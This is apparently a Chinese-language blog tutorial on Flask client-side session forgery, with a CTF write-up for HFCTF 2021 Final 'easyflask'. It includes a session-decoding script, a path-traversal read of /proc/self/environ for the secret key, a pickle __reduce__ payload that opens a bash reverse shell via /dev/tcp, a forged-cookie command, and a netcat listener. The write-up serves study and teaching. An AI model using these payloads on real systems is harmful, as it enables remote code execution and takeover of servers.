Flask 的 SESSION 伪造

Flask 造成的 Session 安全问题

在 Flask 中使用 Session

使用下面的代码设置一个 Session,代码里的secret_key是很重要的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import Flask, session

app = Flask(__name__)
app.secret_key = 'SCFmkpovdDVCJPO21cvcds'

@app.route('/')
def set_session():
if 'name' in session:
name = session['name']
if name == "anonymous":
return 'Session 已设置,你是 anonymous'
elif name == 'admin':
return 'Session 已设置,你是 admin'
else:
return 'Session 已设置,你是 ???'
session['name'] = 'anonymous'
return 'Session 未设置,现已设置'

if __name__ == '__main__':
app.run(debug=False, port=8080)

访问127.0.0.1就可以看到设置的 Session:

设置的 Session

从代码来看,我们只能以 anonymous 身份登录,那我们能不能不修改代码来使用 admin 身份来登录呢,通过 Session 的伪造就可以做到(已经知道了secret_key)。

Flask 的 Session 安全问题

在传统 PHP 开发中,$_SESSION变量的内容默认会被保存在服务端的一个文件中,通过一个叫PHPSESSIDCookie来区分用户。这类Session服务端 Session,用户看到的只是 Session 的名称(一个随机字符串),其内容保存在服务端。

然而,并不是所有语言都有默认的 Session 存储机制,也不是任何情况下我们都可以向服务器写入文件。所以,很多 Web 框架都会另辟蹊径,比如 Django 默认将 Session 存储在数据库中,而对于 Flask 这里并不包含数据库操作的框架,就只能将 Session 存储在 Cookie中。因为 Cookie 实际上是存储在客户端(浏览器)中的,所以称之为 客户端 Session

将 Session 存储在客户端 Cookie 中,最重要的就是解决 Session 被篡改的问题,Flask 通过一个secret_key来解决这类问题,只要不知道secret_key,就不能伪造 Session,但 Flask 仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而 Flask 并没有提供加密操作,所以其 Session 的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。

对 Session 进行解密

可以用 P师傅 的程序解密(或者使用 这个脚本):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))

可以对上面的 Session 进行解密:

解密 Session

通过上述脚本解密处 Session ,我们就可以大概知道 Session 中存储着哪些基本信息。然后我们可以通过其他漏洞(例如 SSTI)获取用于签名认证的 secret_key ,进而伪造任意用户身份。

伪造 Session

想要伪造 Session 就必须要知道 secret_key,其次还需要 一个脚本,使用下面的命令来伪造成 admin 身份:

伪造 Session

把生成的 Session 覆盖原有的 Session 再刷新页面,身份就变成了 admin,整个过程中最难的地方应该就是如何获取到secret_key

[HFCTF 2021 Final]easyflask

读取源码

进入题目,根据提示可以读取源码/file?file=/app/source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'

with open(path, 'r') as fp:
content = fp.read()
return content


@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
# 如果 u 对应的值是字典,会读取 u.b
if isinstance(u, dict):
u = b64decode(u.get('b'))
# pickle 反序列化
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

获取 SECRET_KEY

接着来审计源码,首先可以看到SECRET_KEY被隐藏了,如果想伪造 Session 就要想办法从其他地方得到它,看到/file这个路由,os.path.join('static', path)函数:

os.path.join()函数可以智能地拼接一个或多个路径部分,如果某个部分为绝对路径,则之前的所有部分会被丢弃并从绝对路径部分开始继续拼接

简单的说如果某部分为绝对路径,将只返回这个绝对路径,这样就可以读取除条件中限定外(if 中的限制)的所有文件,在这里读取/proc/self/environ,这是个特殊的目录:

linux 提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid//proc/self/environ是此文件包含设置的初始环境,换句话说就是该进程的环境变量

访问/file?file=/proc/self/environ得到 SECRET_KEY:

1
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

获取 SECRET_KEY 后我们就可以控制 Session 了,配合下面的反序列化漏洞就可以进行 RCE 了

反序列化漏洞

源码中还使用了 pickle 库:

pickle 是 python 语言的一个标准模块,实现了基本的数据序列化和反序列化

在 47 行左右进行了反序列化的操作,类比 PHP 里的__wakeup(),pickle 中有__reduce__(),当对象被 Pickle 时就会被调用。

另外pickle.loads会解决import问题,对于未引入的module会自动尝试import。那么也就是说整个 Python 标准库的代码执行、命令执行函数都可以进行使用。

这里用反弹 Shell 的方法来读取 flag,下面的代码用来生成攻击代码(填上 YOUR_IP 和 PORT,在 Linux 使用 Python2 运行):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import os
import pickle
from base64 import b64encode


User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/YOUR_TP/PORT 0>&1'",))
})

u = pickle.dumps(User())
print(b64encode(u).decode())

拿到攻击代码:

1
Y3Bvc2l4CnN5c3RlbQpwMAooUyJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84MDgwIDA+JjEnIgpwMQp0cDIKUnAzCi4=

解密原有的 Session

原有 Session 为:

1
eyJ1Ijp7IiBiIjoiZ0FTVkdBQUFBQUFBQUFDTUNGOWZiV0ZwYmw5ZmxJd0VWWE5sY3BTVGxDbUJsQzQ9In19.YpIhtw.dY6WU10WEzkH6ow455LWWJVwfqw

用脚本(上文已给出)解密得到:

1
{'u': b'\x80\x04\x95\x18\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94)\x81\x94.'}

构造伪造的 Session

使用脚本(上文已给出)来生成伪造的 Session,攻击 Session 填写在键值 b 的后面(最好使用 Linux 来制作,在我的环境里 Windows 下打不通):

1
python make.py encode -s 'glzjin22948575858jfjfjufirijidjitg3uiiuuh' -t "{'u':{'b':'Y3Bvc2l4CnN5c3RlbQpwMAooUyJiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS84MDgwIDA+JjEnIgpwMQp0cDIKUnAzCi4='}}"

加一层 b 是因为只有这样才能调用b64decode()对经过base64编码的bytes-like对象或者ASCII进行解码

生成 Payload(每次重新生成会有变化,但不影响结果):

1
eyJ1Ijp7ImIiOiJZM0J2YzJsNENuTjVjM1JsYlFwd01Bb29VeUppWVhOb0lDMWpJQ2RpWVhOb0lDMXBJRDRtSUM5a1pYWXZkR053THpFeU55NHdMakF1TVM4NE1EZ3dJREErSmpFbklncHdNUXAwY0RJS1VuQXpDaTQ9In19.YpIrxg.x02lam0JKj853mD3il94buhPa9o

覆盖 Session 服务器监听

使用生成的 Payload 替换掉原有的 Session,访问/admin,并在服务器上用 nc 监听(PORT 为上文的端口):

1
netcat -lvnp PORT

读取 flag

服务器有反应后,在根目录读取到 flag

源码

再来看看真正的源码,SECRET_KEY:

1
app.config["SECRET_KEY"] = os.getenv("secret_key", "glzjin22948575858jfjfjufirijidjitg3uiiuuh")

os.getenv 函数根据 key 值获取环境变量的值,不存在则返回 default 值


本文参考链接:

Flask之Session伪造

[HFCTF 2021 Final]easyflask

proc(5) — Linux manual page

客户端 session 导致的安全问题

Python Web之flask session&格式化字符串漏洞